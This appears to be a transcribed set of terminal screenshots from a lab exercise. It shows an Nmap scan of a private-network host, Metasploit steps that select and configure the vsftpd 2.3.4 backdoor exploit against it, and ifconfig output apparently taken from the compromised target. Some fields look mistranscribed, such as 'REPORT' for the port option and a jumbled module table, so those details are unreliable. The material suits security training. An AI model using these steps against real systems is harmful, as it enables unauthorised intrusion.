

The terminal window displays the output of the Nmap scan:

```
(kali㉿kali)-[~]
$ nmap 192.168.178.186
Starting Nmap 7.94SNN ( https://nmap.org ) at 2024-01-19 17:30 CET
Nmap scan report for 192.168.178.186
Host is up (0.0014s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
```

The terminal window displays the Metasploit framework interface:

```
kali㉿kali-[~]
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name          Current Setting  Required  Description
RHOSTS        yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
REPORT        21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
Name          Current Setting  Required  Description
Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts
rhosts =>
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.178.186
rhosts => 192.168.178.186
```

The terminal window displays the following Metasploit command-line interface:

```
msf6 > search vsftpd
Matching Modules
#  Name
-  auxiliary/dos/ftp/vsftpd_232           Disclosure Date  Rank   Check  Description
-  exploit/unix/ftp/vsftpd_234_backdoor  2011-02-03    normal  Yes    VSFTPD 2.3.2 Dev
                                         exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03    excellent No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 1
```

The terminal window displays the following ifconfig output:

```
ifconfig
eth0      Link encap:Ethernet HWaddr fa:77:60:fa:c3:8d
          inet addr:192.168.178.186  Bcast:192.168.178.255  Mask:255.255.255.0
          inet6 addr: fe80::f877:60ff:fefa:c3d/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
             RX packets:2201 errors:0 dropped:0 overruns:0 frame:0
             TX packets:1819 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:1535512 (1.4 MB)  TX bytes:338504 (330.5 KB)
             Base address:0xc000 Memory:feb00000-febe0000

lo       Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
             UP LOOPBACK RUNNING  MTU:16436  Metric:1
             RX packets:1210 errors:0 dropped:0 overruns:0 frame:0
             TX packets:1210 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:0
             RX bytes:568065 (554.7 KB)  TX bytes:568065 (554.7 KB)
```